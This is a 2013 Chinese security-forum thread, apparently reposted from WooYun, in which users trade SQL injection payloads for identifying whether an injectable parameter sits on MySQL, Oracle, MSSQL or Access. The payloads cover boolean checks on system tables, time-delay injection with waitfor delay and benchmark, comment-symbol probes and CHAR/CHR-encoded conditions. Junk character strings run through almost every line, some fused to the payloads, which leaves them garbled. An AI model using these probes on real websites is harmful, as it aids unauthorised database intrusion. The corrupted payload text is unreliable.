找回密码
 立即注册
查看: 2464|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
# ?) ^% t1 m! L  ]- w# j9 Ixsser (十根阳具有长短!!) | 2013-02-05 12:36
: v( y: P" }" h- k& R2 M假设这么一个注射点:$ }4 e  v( H/ j+ c
show.html?id=2, I# u/ _+ S9 @! W, {) r# O
mysql:id=2 and version()>05 b+ i5 `' K8 j* a
oracle:id=2 and '1'||'1'='11
/ ?0 j( Q# j- u  o其他的欢迎补充
# q$ i5 R1 V) c$ R: [! X6 m5 k1#
! m# U- O1 y6 G/ ]; [upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
: \2 b: \# n. C5 T! WAccess:
( B& {# r- w! daNd aSc(cHr(97))=97- T: f# d- w, i# H
and exists(select id from MSysAccessObjects)8 ?( n4 _! F1 V% U
SQL Server:# ?4 @4 o; W- z
and exists(select id from sysobjects)/ f' f4 E1 p  c- d) ]7 L. P# ?8 [
and length(user)>0
$ i4 r9 k9 m- E  NMySQL:
# z% c6 \! k* f& P% u  w' W, o( t: Mand length(user())>0  k3 m& p6 U% Y1 @+ z
2#1 j. N5 R6 r5 \
xsser (十根阳具有长短!!) | 2013-02-05 12:48
$ k& V$ ]  L1 T8 e@upload 如果这些都不是呢…, |! w' j( ^7 A; q) a6 w5 R- [/ ~
3#
& g9 o) a8 m$ P8 j# D- |upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:039 q( ~* C- g. j8 O( ?
@xsser 不快速的,延时注入
, ~+ t5 L6 g) U, e; U* K; Y2 \8 r' ?) e不知道这样写对不对/ s( e% @+ D# k" e! X
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
& V% e! Y, t# ~4 j& Amysql:id=2 and select benchmark(1e8,current_date());
3 ~7 b  k9 L6 ^! ?7 `; L9 e4#  G% R& R, A3 n1 N  R
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10$ s- k$ L9 P& O/ n2 `
最快的貌似是看报错信息; G0 m! d$ z& c* U; U# v8 V- ^+ t
oracle error& V! x6 r3 y/ M  B! u
mssql error' d- c6 N! B& Z: F( \* D
mysql error
5 N# n: N1 ]8 J7 H( x; @" ^/ w5#* F, }  n8 ?( c2 W, l+ [9 S0 _
Nimda (你们都是坏银~) | 2013-02-05 13:14( w  s8 l! l- u$ b
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)) Y1 S) j4 R$ O8 m4 ?* B& K6 X( w
6#( ]- h7 h* F  G2 x" N4 b3 U1 z
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21. @) w# `$ Y5 ^
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:* S. p7 U) S7 `3 W5 x
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
0 ?6 C; X0 R2 \“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。# l. c0 O0 W* ~9 h" M) T
7#" H3 ~* Z8 v+ @
_Evil (HackEnd) | 2013-02-05 13:33
9 F" i4 n3 _6 j% G: e9 mPostgreSQL
7 O: E  k2 J2 d! \8#
5 N) {/ a. ~/ I. V% x$ q! M  {upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
( ^* H# G0 H5 ?9 K切换编码 and 1=1
7 @' m$ m9 ^% c! \$ boracle:: J/ F7 M1 t1 K) ]$ w) i! z$ X
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
' z- Z/ l: y( M+ i. hmssql:) o5 l) _& }# c8 n8 k
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
  s9 D" c0 H2 A. U8 rmysql:
% I! e* G5 x$ ^* O1 i$ R+ N7 tCHAR(97, 110, 100, 32, 49, 61, 49)7 n. C( L6 h( ^' D' F
9#- X' U- Z* Y; e7 @- R! `- W
xsser (十根阳具有长短!!) | 2013-02-05 14:31
, M. V& _. v" i+ s@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?$ [+ y4 Z5 |6 ?8 O* \, d- Z6 ]8 r6 `
10#
# v8 i5 m& ~2 ^upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
# p+ ^5 f7 }( t; p* Y$ T. o@xsser 是奇葩数据库类型的么?
- N& b. V% D/ `5 E! n# u2 b6 o根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
/ t0 q/ q' U* \% l6 _1.是否可以使用特定的函数来判断,该数据库特有的' \$ u+ O+ m& K% t% W  y, Q
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
" s- L! f# R3 f$ R- Z0 {3.是否可以编码查询% U! N# {! I) l5 t" B4 e5 @4 p( {
4.是否显可以利用错信息
# q, q" M# W0 |0 h/ I5.是否存在数据库某些特性辅助判断, K3 G  p) o# r6 N
个人见解
- G% U$ D) U8 ~11#
; x! t' [0 b' v3 a5 v& Q小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
' }: J1 j' G7 _8 a( ?  a5 f已收藏,mssql可以直接看到错误提示的吧~
2 @, n# T1 }1 L12#% t# _+ H& c, ^0 Y
Passer_by | 2013-02-05 15:09
- ^3 d& C. p  I1 q" O0 K曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。& K0 J5 ]( D; G5 r
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表